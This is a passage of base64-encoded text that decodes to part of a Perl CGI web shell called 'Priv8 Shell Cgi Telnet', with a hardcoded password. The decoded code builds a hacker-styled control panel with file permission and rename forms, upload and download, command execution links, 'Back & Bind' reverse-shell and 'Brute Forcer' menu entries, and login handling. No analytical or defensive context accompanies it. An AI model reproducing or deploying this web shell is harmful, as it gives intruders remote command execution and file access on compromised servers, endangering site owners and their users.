YXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9